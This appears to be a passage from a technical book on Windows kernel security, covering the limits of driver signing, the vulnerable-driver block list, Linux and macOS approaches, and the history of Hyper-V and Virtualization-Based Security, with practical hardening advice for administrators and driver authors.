WDAC and DriverSiPolicy.p7b add finite set-membership predicates. A hash rule asks whether the image hash equals one of a finite set of denied hashes. A signer rule asks whether the validated signer chain matches one of a finite set of denied signer descriptions. A file-name rule asks whether the leaf name or package metadata matches a finite string rule. A production implementation can index those structures by hash table, trie, sorted vector, or another internal representation; a naïve implementation could scan linearly. The asymptotic choice affects latency, not expressiveness. Every version still asks membership in a known set.

Static analysis can go further than membership. It can disassemble dispatch tables, identify IOCTL handlers, trace simple dataflow from Irp->AssociatedIrp.SystemBuffer to MmMapIoSpace, memcpy, MSR instructions, port I/O, process-object manipulation, and callback-table writes. Check Point's import-table mass hunt and EURECOM's dynamic Kernelmon work show that these approximations find real vulnerable drivers at scale [387] [390] [391]. But once the question becomes "for all possible inputs and states, can this driver be coerced into a kernel-write primitive?" the problem has crossed from syntactic membership into program semantics. The earlier Rice-theorem argument applies precisely there.

That distinction is the master key. Static methods can prove identity, enforce a mapping invariant, check membership in a curated deny list, and flag many recognizable bug patterns. They cannot be both complete and sound for arbitrary driver safety. If they over-approximate, they block good drivers; if they under-approximate, they let some BYOVD candidates through. The gap between achievable static enforcement and the ideal "block all and only the unsafe drivers" is, in the limit, irreducible.

Three axes that can be improved

If the gap cannot close, it can be narrowed along three independent axes, and the improvements that matter, look like one of these:

• Reactiveness. The disclosure-to-enforcement latency is often measured in servicing cycles. Submission-time analyses could compress it if Microsoft makes them gating.
• Coverage of unknown-bad signed drivers. Reputation, allowlists, and dynamic analysis at scale extend coverage beyond what a static deny list lists.
• Visibility into binary contents. SBOMs answer "what is inside this driver?": a question the signature alone never asked.

Each axis is the answer to a different blind spot. None substitutes for another. The chapter returns to the SBOM axis specifically because Microsoft has publicly signaled a WHCP SBOM requirement, while detailed enforcement documentation remains thinner than the claim deserves.

Static signing has hit a wall it cannot push through. The only way forward is to widen the question. Two of the answers exist on other operating systems. The third has been publicly signaled for the Windows driver pipeline, but its final submission mechanics still need formal documentation.

The other two operating systems

Linux solved the signing half and pushed the curated-denylist half down to distribution vendors. macOS solved both by making third-party drivers stop being drivers.

Linux: signatures without a curated denylist

Linux has supported in-kernel module signing since version 3.7 (December 2012), under the configuration symbol CONFIG_MODULE_SIG. The kernel documentation [392] catalogs the supported algorithms: "The built-in facility currently only supports the RSA, NIST P-384 ECDSA and NIST FIPS-204 ML-DSA public key signing standards." [392] The choice of signature scheme is a build-time decision, and the kernel can be told to use a key embedded in the kernel image, a key loaded into the trusted keyring at runtime, or a Machine Owner Key managed by shim and the platform's UEFI boot stack.

The structural decision that matters is the enforcement mode. CONFIG_MODULE_SIG_FORCE is the toggle. The kernel documentation describes the two settings cleanly: "If this is off (ie. 'permissive'), then modules for which the key is not available and modules that are unsigned are permitted, but the kernel will be marked as being tainted... If this is on (ie. 'restrictive'), only modules that have a valid signature that can be verified by a public key in the kernel's possession will be loaded." [392]

Outside Secure Boot or vendor lockdown profiles, many mainstream Linux installations are permissive: unsigned modules taint the kernel but load. Under Secure Boot on Ubuntu/Fedora/RHEL-class systems, signed-module enforcement and lockdown-style restrictions are commonly part of the default path, and self-built kernels can choose either mode.

What Linux does not have is the equivalent of DriverSiPolicy.p7b. There is no kernel-level curated denylist of "we have learned this module is unsafe; refuse to load it by name". Defenders rely on per-distribution CVE trackers, on modprobe.blacklist, and on udev rules to keep specific modules out. The G5 generation (naming the weakness rather than the publisher) has no mainline Linux equivalent at the kernel-loader level.

macOS: DriverKit removes the surface

Apple's answer is structurally different. Starting with macOS Catalina 10.15 [394] in 2019, Apple deprecated legacy kernel extensions for third parties and pushed them onto the DriverKit [395] framework instead [394] [395].

A .dext runs in user space under a sandbox profile. It can claim devices, register for IOKit interrupts, and exchange messages with kernel-side broker code, but it cannot, in any usable sense, execute arbitrary code in the kernel address space. The Capcom.sys class of vulnerability cannot be expressed in DriverKit: there is no IOCTL surface whose handler runs in ring zero, because the handler does not run in ring zero. Apple reinforces the boundary further with System Integrity Protection [396] (since 2015) and, on Apple Silicon, Kernel Integrity Protection (KIP), which makes the kernel page tables read-only after boot [396].

The price was paid by Apple's IHV community. Whole categories of third-party drivers (deep audio, virtualization, certain security tools) spent years migrating, and some categories took multiple macOS releases before a DriverKit equivalent of a particular kext capability existed. Apple Silicon requires explicit reduced-security mode to load any legacy kext at all: Apple's Platform Security guide [397] records that "Kexts must be explicitly enabled for a Mac with Apple silicon by holding the power button at startup to enter into One True Recovery (1TR) mode, then downgrading to Reduced Security and checking the box to enable kernel extensions" [397].

Why Windows cannot copy Apple

The reason Windows cannot make Apple's move in the short term is operational, not architectural. Windows' IHV installed base is orders of magnitude larger and less centrally controlled. Microsoft does not own its hardware vendors the way Apple owns Macs. Breaking compatibility with twenty years of shipped kernel drivers would impose unbounded migration cost on third parties Microsoft cannot direct.

Windows cannot move drivers to user space at Apple's speed. But it can look at what is inside a driver in a way the signature alone never could. And it has been quietly building that capability since 2022.

What comes next: SBOM, artifact signing, dynamic analysis

If signatures cannot answer "is this driver safe", and the block list can only ever answer "is this driver known-unsafe", the next question Windows has to learn how to ask is "what is inside this driver?"

SBOM for drivers

A Software Bill of Materials is a structured inventory of the components, dependencies, and versions inside a software artifact. The mainstream community formats are SPDX (now at version 3.0) and CycloneDX; Microsoft contributes to and ships an open-source tool, microsoft/sbom-tool [398], that produces SPDX-compatible SBOMs as part of a build pipeline [398]. The repository description is plain: "The SBOM tool is a highly scalable and enterprise ready tool to create SPDX 2.2 and SPDX 3.0 compatible SBOMs for any variety of artifacts. The tool uses the Component Detection libraries to detect components and the ClearlyDefined API to populate license information for these components." [398]

The piece that may affect Windows drivers specifically is the Windows Hardware Compatibility Program SBOM requirement. The strongest public breadcrumb this chapter could verify is still a Microsoft Q&A answer, not a formal WHCP policy PDF: "The WHCP SBOM requirement (Device.DevFund.Security.SoftwareBillofMaterials) has been deferred and will only be enforced starting in H2 2026" [399]. The official WHCP specifications-and-policies page is the place Microsoft publishes downloadable requirements, but the public page itself does not yet provide the detailed SBOM enforcement mechanics [400]. Treat H2 2026 as Microsoft's stated direction as of 2026-06-09, not as a fully documented submission contract.

There is a structural problem an SBOM does not solve on its own. If the SBOM ships separately from the driver, an attacker who controls the distribution path can substitute a clean-looking SBOM for a contaminated driver. Any submission flow that uses SBOMs for trust should bind the SBOM cryptographically to the artifact it describes so that a recipient can verify the binding. Public WHCP documentation for that binding mechanism remains light beyond the Q&A-level mandate signal [399] and the general WHCP specifications channel [400].

Dynamic analysis at submission time

The other axis of improvement is reactiveness. Today, the typical disclosure-to-enforcement cycle for a new BYOVD driver looks like this: vendor ships, attacker exploits, researcher discloses, Microsoft adds to the quarterly published list, Windows servicing pushes to clients. The latency is months. Two recent research programs show how dynamic analysis at scale can compress it.

The first is the EURECOM / University of Milan NDSS 2026 paper on the authors' publication page [390]. The team built a DRAKVUF-based instrumentation layer called Kernelmon and traced every kernel function executed by signed drivers under malware-loaded workloads [390]. The numbers are unusually concrete: the paper PDF [391] reports that the team "analyzed 8,779 malware samples that load 773 distinct signed drivers. It flagged suspicious behavior in 48 drivers, and subsequent manual verification led to the responsible disclosure of seven previously unknown vulnerable drivers" [391]. The companion S3 blog post [401] corroborates the 48-flagged / 7-disclosed numbers and notes that one of the seven received CVE-2024-26506 [401]. The technique is dynamic: it runs the driver under a hypervisor, watches what its IOCTL handlers actually do, and flags patterns characteristic of the BYOVD class.

The second is Check Point Research's 2024 work [387], which built a mass-hunt methodology around import-table signatures of risky kernel APIs and ran it across the global driver corpus. "Using the same methodology, we conducted a mass hunt for new drivers that may be vulnerable, uncovering thousands of potentially at-risk drivers." [387] The technique is static: it asks what does the driver import? rather than what does it do under exercise? Combined, the two approaches cover complementary halves of the surface.

Neither currently gates Hardware Dev Center submissions. Both are candidates for the kind of submission-time check that would compress disclosure-to-enforcement latency from quarters to days.

Empirical patterns the defenses have to recognize

Cisco Talos's BYOVD work, summarized in their Exploring vulnerable Windows drivers post [402], classifies the post-load payloads attackers actually run [402]. Three behavior classes dominate: token-swap escalation that overwrites the access token in the _EPROCESS structure to reach SYSTEM; unsigned-code-loading that uses the kernel-write primitive to disable DSE or patch CI state; and EDR-killing that clears the kernel callback registrations endpoint detection products rely on. Each is a target for the dynamic analyses above, each is detectable by import-table heuristics, and each is what defenders see in the wild today.

The historical roots are old. The Microsoft Security blog tracing the Vulnerable & Malicious Driver Reporting Center is direct: "Multiple malware attacks, including RobinHood, Uroburos, Derusbi, GrayFish, and Sauron, have leveraged driver vulnerabilities (for example CVE-2008-3431, CVE-2013-3956, CVE-2009-0824, and CVE-2010-1592)." [378] The payload classes have stayed remarkably stable for fifteen years.

Threats the stack cannot yet absorb

Three problems remain open and uncovered by the published roadmap. The Smart App Control cold-start window leaves small IHVs whose installers, control panels, and updater binaries have no cloud reputation to fall through to signature, and signature alone is exactly what we already established does not answer the safety question. BYOVD on HVCI-off environments, prevalent in older anti-cheat configurations and on enterprise machines with legacy ISV drivers, still admits the g_CiOptions-patching family from VTL0 because there is no VTL1 to keep the policy out of reach. And the shipped-vs-published block list gap, while operationally rational and individually closeable by a willing administrator, is a gap any default-on customer carries.

None of those closes by algorithmic improvement. Each closes only by widening the question.

What started as a yes/no signature check has become a continually expanding set of questions Windows asks before it will hand a driver the keys to ring zero. None of those questions is sufficient. All of them are necessary. The next one (SBOM-backed visibility into driver contents) is signaled for the WHCP submission flow, but should be tracked against the formal policy documents as they land.

What this means in practice

Three audiences, three things to do.

Administrators. Confirm the stack is on. Get-CimInstance -Namespace root\Microsoft\Windows\DeviceGuard -ClassName Win32_DeviceGuard returns a SecurityServicesRunning array; a 2 in the array confirms HVCI [389]. A DriverSiPolicy.p7b in %windir%\system32\CodeIntegrity\ confirms the in-box block-list artifact is deployed, but not rule parity with Microsoft's published XML; also check VulnerableDriverBlocklistEnable, Code Integrity events 3033/3077, policy version, and WDAC/App Control operational logs. If you can tolerate compatibility risk, compile the published block-rules XML [271] into an App Control policy and deploy it: audit first, sign production policies where your process requires it, use supplemental policies for exceptions, keep recovery media or rollback policy ready, and only then enforce. If you run Windows Server 2016, deploy an explicit policy yourself because the in-box default does not apply there [271]. If you ship through the Hardware Dev Center, prepare for the stated H2 2026 WHCP SBOM direction while watching the formal WHCP policy documents [399] [400]. Subscribe to the Vulnerable & Malicious Driver Reporting Center cadence for new disclosures [378].

Driver authors. Assume your IOCTL surface will be read by Check Point's import-table mass hunt [387] and exercised by EURECOM's Kernelmon [390]. Any handler that takes a user-supplied address and returns kernel data, maps physical memory, touches MSRs or ports from user mode, or dispatches a user-supplied function pointer is already in the pattern language Microsoft says its reporting pipeline looks for [378].

Researchers. The field is wide open. The undecidability result is real, but the practical gap between what current analyses detect and what is, in principle, detectable for any specific vulnerability class is large. The NDSS 2026 paper found seven CVE-worthy drivers in a corpus of 773. The next paper will find more.

Every layer is somebody's incident report

Every layer in the 2026 stack exists because the previous one lost to a named adversary. Sony BMG XCP retired advisory signing. Stuxnet retired the assumption that a valid chain is a safe chain. Capcom.sys retired the assumption that a safe chain is a safe driver. RTCore64.sys, gdrv.sys, and KProcessHacker retired the assumption that the BYOVD class would burn itself out. Each entry on DriverSiPolicy.p7b is somebody's incident report, recorded in the most permanent place Microsoft can put it: the kernel loader's deny list.

Above Ring Zero

The Windows hypervisor is the program that runs beneath the Windows kernel. It runs at a privilege level the kernel cannot reach and owns the page tables that decide which memory the kernel may even see. Virtualization-Based Security, Credential Guard, HVCI (Memory Integrity in Windows Security), Application Control, VBS Enclaves, and System Guard Secure Launch are all built by composing five primitives the hypervisor exposes: partitions, hypercalls, intercepts, SynIC, and per-VTL SLAT. The substrate is real and serviced, with a public CVE record across several recent years; the residual attack surface (firmware below, side channels above, IOMMU bypass beside, hypervisor rollback) is where Windows security still earns its hardest miles.

Why Above Ring Zero matters

On a Windows 11 machine where VBS is running and the relevant VBS-backed services are also running (Credential Guard, HVCI/Memory Integrity, and any WDAC/App Control policy the fleet requires) a kernel-mode driver with full Ring-0 privilege loses authorities that older Windows kernels treated as absolute. It cannot read the selected long-term credential material isolated in LSAISO/VTL1. It cannot make arbitrary unsigned or policy-denied kernel code executable under HVCI/WDAC. It cannot patch protected ntoskrnl.exe code pages behind the VTL1 code-integrity path, and it cannot turn HVCI off in-place without changing boot policy and rebooting. None of this is enforced by the NT kernel alone. It is enforced by a different program: one that launches before the NT kernel, runs at a privilege level the Windows kernel cannot reach, and owns the page tables that say which memory the Windows kernel may even see. That program is the Windows hypervisor [406,322,87].

The intuition this fact violates is older than most readers' careers. "SYSTEM owns the box." Every introductory security course teaches it. Local administrator escalates to SYSTEM, SYSTEM loads a driver, the driver runs in the kernel, and the kernel can do anything to the machine. That model is correct for a Windows installation running without Virtualization-Based Security. It is wrong, in three specific and load-bearing ways, for a Windows installation that has VBS turned on.

The binary in question is named hvix64.exe on Intel hosts and hvax64.exe on AMD hosts.

It is launched by hvloader.efi during the Windows OS-loader path, before the NT kernel runs. By the time the Windows boot manager hands control to the NT kernel, the hypervisor has already configured the CPU's virtualization extensions, allocated its own private memory, taken ownership of the IOMMU, and set up the per-partition second-level page tables that decide which physical pages each partition can see [407]. From the NT kernel's point of view, the machine starts up already inside a guest partition. There is no escape upward.

This chapter is about the program that runs beneath the kernel. The Secure Kernel chapter (Chapter 6) carved out VTL1; the Code Integrity chapter (Chapter 8) made kernel pages immutable; the Credential Guard chapter (Chapter 15) isolated selected long-term credential material. Each describes a policy (the Secure Kernel enforces code integrity, Credential Guard isolates the credential) and none of those policies would be enforceable without a piece of software running at a privilege level the policy's adversary cannot reach. The hypervisor is that piece of software, and "security primitive" is how Microsoft, the security research community, and the bug-bounty market all describe its current role.

Five questions organize what follows. Why the hypervisor became a security primitive: the architectural failure of Ring-0 defenses that Microsoft fought for a decade and finally gave up on in 2015. How it became one, in three steps: Popek and Goldberg's 1974 virtualizability theorem; Intel VT-x and AMD-V in the 2005-2006 hardware generation [408,409]; and David Hepkin and Arun Kishan's 2013 patent on hierarchical Virtual Trust Levels [410]. What it enforces, feature by feature, with the hypervisor primitive that backs each: HVCI rides on per-VTL SLAT; Credential Guard rides on SynIC plus the secure-call ABI; System Guard Secure Launch rides on DRTM [104]. Where it has actually failed in public. Six worked CVEs across three distinct attack classes, all narrowly localized. And what is structurally outside its mandate: firmware below the hypervisor, microarchitectural side channels above it, IOMMU bypass beside it, and hypervisor rollback through the update pipeline.

The story is half engineering and half conceptual inversion. How did a server-consolidation hypervisor that shipped in 2008 with Windows Server 2008 (a product whose original marketing pitch was "run more VMs per box") become the architectural substrate beneath so many load-bearing Windows security boundaries in 2026? The answer begins in 1974, with a paper that defined what a hypervisor even is. But the political and engineering thread begins five years before that, in San Mateo, California.

Origins: Connectix to Viridian to Hyper-V

Microsoft entered the virtualization market three years late and by acquisition. On February 19, 2003, the company bought Connectix, a small San Mateo software house founded in 1988 that had built Virtual PC for Macintosh and, later, Virtual PC for Windows. The Connectix engineers became the nucleus of what Microsoft would internally call the Windows Server Virtualization team. The acquired products shipped as Microsoft Virtual PC 2004 and Microsoft Virtual Server 2005. Both were Type-2 hypervisors: user-mode applications that ran on top of Windows, using software techniques rather than CPU virtualization extensions, because the CPU virtualization extensions did not yet exist on shipping x86 hardware.

In 2005, the team began a new project under the codename "Viridian." The goal was a Type-1 micro-kernelized hypervisor for x86-64 (a fresh build, not a derivative of Virtual Server) that required hardware virtualization extensions at install time. By the time Hyper-V was ready, Intel VT-x and AMD-V were shipping broadly enough that Microsoft could make hardware virtualization a system requirement rather than a configuration option [408,409]. Three years later, on June 26, 2008, Hyper-V reached RTM and was delivered as a Windows Server 2008 feature through Windows Update [412].

The 2008 design choices are worth naming individually because the ones that mattered for server consolidation turned out, twelve years later, to also be the ones that mattered for security. Three deserve flagging:

• Micro-kernelized architecture. The hypervisor binary contains only the minimum machinery needed to virtualize the CPU, schedule VMs, and enforce memory isolation. It does not contain device drivers. It does not contain a network stack. It does not contain a filesystem.
• Root partition plus child partitions. From the Microsoft architecture documentation: "The Microsoft hypervisor must have at least one parent, or root, partition, running Windows. The virtualization management stack runs in the parent partition and has direct access to hardware devices. The root partition then creates the child partitions which host the guest operating systems" [406]. The root partition is a full Windows install; the child partitions are guest VMs.
• VMBus, VSP, and VSC. Inter-partition I/O happens over the VMBus: a paravirtualized message channel. A Virtualization Service Provider (VSP) runs in the root partition and owns the real device; a Virtualization Service Client (VSC) runs in each child partition and talks to the VSP over VMBus. Device emulation lives in the root partition's user-mode and kernel-mode code, not in the hypervisor binary itself. This is the choice that, twelve years later, kept the hypervisor's Trusted Computing Base small enough to be defensible.

The micro-kernel, root-plus-child, and VMBus choices were defensible server engineering. Their server engineering rationale was that emulating a NIC, or a SCSI controller, or a graphics adapter inside a hypervisor binary would balloon the binary's size, lock its code-review cycles to those of every device the company shipped, and force the same security-critical code that scheduled CPUs to also handle Ethernet frame parsing. Putting device emulation in a normal Windows process inside the root partition (the VM Worker Process vmwp.exe) meant the hypervisor binary could stay small enough to reason about.

The 2008 design goal was, again, server consolidation. Microsoft's positioning materials at the time named "run more VMs per box, get better hardware use" as the customer pitch. Nothing in the 2008 Hyper-V documentation describes the hypervisor as a security primitive for the host OS. The security re-purposing (the moment Hyper-V's hardware-privilege isolation became the way Windows itself protected its own kernel from itself) did not arrive until 2015. To understand why it arrived at all, we have to back up thirty-four years to a 1974 paper that defined what virtualization formally requires.

The theoretical anchor: Popek, Goldberg, and SLAT

Before Microsoft could build a hypervisor that ran security-critical code at a higher privilege than the Windows kernel, two unrelated decisions had to land. One was made in 1974, by two researchers who would never see Windows. The other was made in 2005, by Intel.

In July 1974, Gerald Popek of UCLA and Robert Goldberg of Harvard published "Formal Requirements for Virtualizable Third Generation Architectures" in Communications of the ACM. The paper laid down three properties any "true" virtual machine monitor must satisfy:

• Equivalence. Programs run on the VMM exhibit behavior essentially identical to behavior on the bare machine, except for differences due to timing and resource availability.
• Resource control. The VMM, not the guest, controls the system resources: CPU time slices, memory, devices.
• Efficiency. A statistically dominant subset of the instruction stream executes directly on hardware, without VMM intervention.

The theorem that gave the paper its lasting reputation followed from those properties. Let a sensitive instruction be one that either reads or modifies privileged state (the processor's mode bits, page-table base register, interrupt mask). Let a privileged instruction be one that traps when executed in user mode. Then a sufficient condition for an ISA to be virtualizable is that every sensitive instruction is privileged. The intuition is simple: the VMM must get a chance to see (and to handle) every guest action that touches the machine's privileged state. If the CPU silently lets the guest do something privileged-feeling without trapping, the VMM cannot maintain equivalence and control simultaneously.

For three decades, x86 was famously not virtualizable in the Popek-Goldberg sense. John Robin and Cynthia Irvine enumerated the problem in their 2000 USENIX Security paper: seventeen protected-mode instructions on the IA-32 architecture either read or modified privileged state without trapping from user mode [411].

VMware Workstation, released in 1999 by VMware Inc. (which had been founded the year prior by Mendel Rosenblum, Diane Greene, Scott Devine, Edward Wang, and Edouard Bugnion), worked around the problem with binary translation: it dynamically rewrote each protected-mode guest instruction stream to substitute or trap the seventeen offenders. The technique imposed double-digit overhead, made debugging miserable, and was a security liability in its own right: the binary translator itself was a parser of arbitrary attacker-controlled code.

Intel and AMD ended the problem in hardware. Intel VT-x and AMD-V added a new CPU mode (VMX root operation for Intel, SVM host mode for AMD) and a new instruction-emulation mechanism [408,409]. A VM exit could be configured to fire on every sensitive instruction the hypervisor wished to intercept, transferring control to the host with a structured exit reason and an opaque, host-controlled snapshot of guest state. After 2006, x86-64 became Popek-Goldberg-virtualizable in hardware [411,408,409].

One architectural element more was needed before any of this could be a security primitive rather than just a virtualization primitive. Classical x86 paging maps a guest virtual address to a physical address through a single CPU-walked page table. In a virtualized system that single table cannot be enough, because the guest needs its own virtual-to-physical map and the host needs to remap the guest's "physical" address to a real machine-physical address. The first generations of VT-x simulated this two-level mapping in software through shadow page tables, which the hypervisor had to maintain alongside the guest's tables on every page-table edit. Shadow paging was correct but slow, and it gave the hypervisor no clean way to enforce a different memory map for different parts of the same guest.

Second-Level Address Translation (SLAT): Intel's Extended Page Tables (EPT, shipped with Nehalem in November 2008) and AMD's Nested Page Tables (NPT, shipped with the Barcelona-generation Opteron on September 10, 2007): solved both problems in hardware. The guest walks its own page table from virtual to "guest physical"; the CPU then walks a second, hypervisor-owned page table from "guest physical" to "system physical." Two key properties follow. First, the hypervisor has exclusive control of the second-level mapping; the guest cannot read, write, or even know that it exists. Second, because the second-level mapping is per-partition, the hypervisor can give two partitions different views of the same machine physical memory: the same page can be readable in one partition and entirely absent in another.

Hyper-V required VT-x or AMD-V at install time from day one. Client Hyper-V has required SLAT since Windows 8; SLAT became a general Hyper-V requirement with Windows Server 2016 and Windows 10 1607 [406].

Popek and Goldberg gave us the property. Intel and AMD gave us the hardware. Microsoft used both to build a server hypervisor in 2008. But for the first seven years of Hyper-V's life, none of that machinery protected Windows from itself. Microsoft hadn't yet noticed the architectural problem that made it necessary, or rather, they had noticed the problem (PatchGuard's bypass record was public) and had not yet conceded that the problem was structural. The concession came in 2015. What forced it was the same-privilege paradox.

The same-privilege paradox. why PatchGuard was never enough

PatchGuard, which Microsoft shipped in 2005 with Windows Server 2003 SP1 x64, ran inside ntoskrnl.exe at Ring 0 and scanned a curated list of kernel structures (the system service dispatch table, the interrupt descriptor table, the kernel image's .text section) at randomized intervals to detect tampering. It was bypassed within months by skape and Skywing's Uninformed writeups [367]. Microsoft kept shipping it. Researchers kept bypassing it. The pattern lasted a decade. The reason is not that PatchGuard's authors were sloppy. The reason is structural, and naming it correctly is the first of the three insights this chapter is built around.

The intuition is simple. PatchGuard is a piece of code. It lives in the kernel's virtual address space at some page. It owns a timer that re-runs it periodically. It maintains a randomization seed for which structures it checks next. It has a callback path into KeBugCheckEx if it detects tampering. Every one of those four assets (the code page, the timer callback, the randomization seed, the bug-check path) is a kernel data structure or a kernel virtual address. An attacker with Ring-0 code execution can locate each of them by searching the same kernel address space PatchGuard searches. They can patch the callback so the timer no-ops. They can patch the seed so the randomization is predictable. They can patch the bug-check path so it reports success. They can do all of this with a sequence of plain mov instructions. PatchGuard cannot defend against this, because PatchGuard's defenses live in the same place its attacker's writes do.

PatchGuard and its attacker are colleagues, not adversaries. They share an office. The office is ntoskrnl.exe's virtual address space, and there is no key on the door.

This is the same-privilege paradox. It is not an implementation bug. It does not yield to better obfuscation, more randomization, or harder-to-find timers. It is an architectural ceiling. A defense at privilege level $P$ cannot be enforced against an attacker who also runs at privilege level $P$, because the defender's state lives in the attacker's address space. The defender can be made expensive to find; it cannot be made impossible to find, because the attacker has the same instructions, the same address-space view, and the same MMU privileges as the defender.

Once the paradox is named, the defender's choice is binary. Either give up on having a defense at all (treat Ring 0 as a free-fire zone where any malware that gets there has won) or move the defender to a privilege level above Ring 0, at a hardware boundary the attacker's mov instructions cannot cross. Microsoft picked the second. It is the only architecturally honest choice.

To make it work, Microsoft needed three things. The first was a production hypervisor already shipping, serviced, and familiar to Windows engineering. Microsoft had that in Windows Server since 2008, and later made it broadly available enough on client-capable hardware to become a Windows security substrate. The second was a way to put a piece of Windows itself (code, data, secrets) inside the hypervisor's protection without spawning a separate VM, because spawning a separate VM doubles the system's resource cost and forces every Windows process to choose between living on the normal side or the secure side. That required an architectural idea that did not yet exist in 2010: a way to split a single partition into two privilege levels, each with its own SLAT mapping and its own register state. The third was a way to ensure the hypervisor itself could not be silently replaced or rolled back beneath the OS. That required a hardware-rooted measurement (a DRTM event) that the OS could attest to.

The architectural idea (splitting one partition into hierarchical Virtual Trust Levels) is the subject of the VSM/VTL section ahead. The DRTM measurement returns when System Guard Secure Launch enters the composition table, and again at the firmware residual. Both of them required a decade-long conversation about whether the hypervisor itself could be trusted at all: a conversation that ran in parallel during the same years and that briefly seemed to argue the opposite case. We turn to that conversation next.

The hyperjacking era: SubVirt, Blue Pill, and CloudBurst

While Microsoft was finishing Hyper-V, the security community was establishing that a hypervisor was not just a defense. It was also the most powerful possible attacker against the OS sitting above it. Three demonstrations in three years made the point unmistakable.

SubVirt. In May 2006, Samuel King and Peter Chen at the University of Michigan, joined by Yi-Min Wang, Chad Verbowski, Helen Wang, and Jacob Lorch at Microsoft Research, presented "SubVirt: Implementing Malware with Virtual Machines" at IEEE S&P [413]. Their construction was a Virtual Machine Based Rootkit (VMBR). A privileged installer running inside a legitimate OS installed a malicious VMM at boot time; on the next reboot, the malicious VMM ran first, brought up the original OS as a guest underneath it, and gained the privileged position of seeing every CPU instruction, every memory access, and every I/O the OS performed. The original OS had no architectural way to tell it was no longer the most-privileged software on the box. SubVirt was demonstrated against Windows XP (using Microsoft Virtual PC as the malicious VMM substrate) and against Linux (using VMware Workstation), specifically to show that the technique was not tied to any one operating system or any one hypervisor product.

Blue Pill. Three months later, at Black Hat USA 2006, Joanna Rutkowska of COSEINC demonstrated "Subverting Vista Kernel for Fun and Profit" [414]. Her tool, codenamed Blue Pill, took a step beyond SubVirt by doing the VMM insertion at runtime rather than at boot. The technique: a Ring-0 driver, running inside an already-booted Windows install on an AMD-V capable host, executed VMRUN against an attacker-controlled Virtual Machine Control Block (VMCB) whose initial state matched the current physical CPU. The CPU dropped out of SVM host mode and re-entered as a guest under the attacker's VMM. The OS continued running normally, with no boot-loader modification and no reboot.

By 2007, Rutkowska and Alexander Tereshkin returned to Black Hat USA with the more polished "IsGameOver(,) Anyone?" presentation, refining the technique and addressing the early critics' detection ideas [414].

CloudBurst. At Black Hat USA 2009, Kostya Kortchinsky of Immunity Inc. presented CLOUDBURST. It was the first publicly demonstrated arbitrary-code-execution guest-to-host escape against a commercial hypervisor: a heap overflow in VMware's emulated SVGA-II graphics adapter, tracked as CVE-2009-1244 [415]. A guest VM, executing entirely inside a VMware-managed user-mode process on the host, could overflow a buffer in that process and gain host code execution. CloudBurst's lasting operational lesson was not the specific bug but the attack surface: device emulation (not the trap-and-emulate core of the hypervisor) is often the largest piece of guest-attacker-controlled code in a commercial VMM. In the Hyper-V public cases reviewed in this chapter, the serviced guest-to-host failures land either in that device-emulation/root-partition surface or in the hypercall input-validation surface that mediates the same kind of structured guest-controlled input.

The three demonstrations established a difficult dual truth. The hypervisor is the most powerful defender against an OS-level attacker, and it is the most powerful attacker against an OS-level defender. The same primitive can play either role; which role it plays in any given system depends only on whose hypervisor it is and whether the OS above it can prove that. SubVirt-style attacks did not require Microsoft to invent anything new (they only had to be a possibility) to force Microsoft into a design constraint: any "hypervisor as security primitive" architecture has to start by being the only hypervisor on the box, with a measurement of the hypervisor binary recorded in a TPM platform configuration register (Chapter 2, The TPM) so that any malicious VMBR underneath could be detected at attestation time. This is the role that System Guard Secure Launch (DRTM) plays in the architecture; we return to it when the composition table reaches Secure Launch.

By 2010 the security community had agreed: the hypervisor is the most powerful primitive in the system, and whoever owns the SLAT page tables owns the box. Joanna Rutkowska's Invisible Things Lab launched Qubes OS, an explicitly hypervisor-rooted security OS, on April 7, 2010 [416]. Microsoft owned the SLAT page tables. They had a production Windows hypervisor. They had a server-consolidation product. What they did not yet have was a reason to re-purpose any of it for security. The reason was already being filed at the United States Patent and Trademark Office. The priority date was September 17, 2013.

The pivot: VSM, VTLs, and the Hepkin-Kishan patent

On September 17, 2013, David Hepkin and Arun Kishan filed provisional application 61/879,072, later prosecuted as United States patent application 14/186,415, which would issue on August 30, 2016 as US Patent 9,430,642 B2 [410]. The patent's title, "Providing virtual secure mode with different virtual trust levels," reads like marketing now because the words it introduced ("Virtual Trust Level," "VTL," "Virtual Secure Mode") became Microsoft's own canonical terminology. In 2013 the words did not exist. The patent describes, in 2013, exactly what Microsoft shipped twenty-two months later in Windows 10 build 10240 [322].

The patent's claim language is unusually specific. It teaches a virtual-machine manager that makes "multiple different virtual trust levels available to virtual processors of a virtual machine"; it teaches that "different memory access protections (such as the ability to read, write, and/or execute memory) can be associated with different portions of memory (e.g., memory pages) for each virtual trust level"; and it teaches that "the virtual trust levels are organized as a hierarchy with a higher level virtual trust level being more privileged than a lower virtual trust level." Each of those phrases is now a feature of the shipping Microsoft hypervisor.

Windows 10 availability on July 29, 2015, and Windows Server 2016, brought VBS onto the existing Hyper-V hypervisor line [417,322]. The architectural innovation (the thing the patent was for) was that VTL0 (Normal world, containing the NT kernel, user mode, and LSASS) and VTL1 (Secure world, containing the Secure Kernel and Isolated User Mode trustlets) ran inside the same partition rather than in two separate partitions. VBS is not a second VM. It is a per-VTL SLAT split inside the root partition, plus a per-VTL register-state snapshot, plus a per-VTL interrupt delivery surface. The hypervisor switches SLAT contexts on VTL transitions, exactly as it would switch SLAT contexts on a partition switch, but the switch happens inside a single partition's address space, so there is no extra VM scheduling and no extra OS image to manage.

The Hyper-V Top-Level Functional Specification, chapter 15, names the architectural facts verbatim. "VSM achieves and maintains isolation through Virtual Trust Levels (VTLs). VTLs are enabled and managed on both a per-partition and per-virtual processor basis." "Virtual Trust Levels are hierarchical, with higher levels being more privileged than lower levels." "Architecturally, up to 16 levels of VTLs are supported; however a hypervisor may choose to implement fewer than 16 VTL's. Currently, only two VTLs are implemented." The C-level definition #define HV_NUM_VTLS 2 is published in the same specification [322]. Two VTLs are what ships; the architecture has room for more.

VSM enables operating system software in the root and guest partitions to create isolated regions of memory for storage and processing of system security assets. Access to these isolated regions is controlled and granted solely through the hypervisor, which is a highly privileged, highly trusted part of the system's Trusted Compute Base (TCB).: Microsoft, Hyper-V Top-Level Functional Specification, chapter 15 [322]

This is the second insight the chapter is built around: VBS is not a re-architecture. It is a re-purposing. The hypervisor already existed as a mature Windows codebase for unrelated reasons. The 2015 pivot did not require new hardware, new VMs, or new CPUs. It required a new way to organize what was already there (two SLAT mappings instead of one, two register snapshots instead of one, a secure-call ABI on top of the SynIC) and a Windows-side Secure Kernel binary to run inside the new VTL1 view. The patent gave the design its formal expression; the engineering had been waiting since 2008 for the right architectural insight.

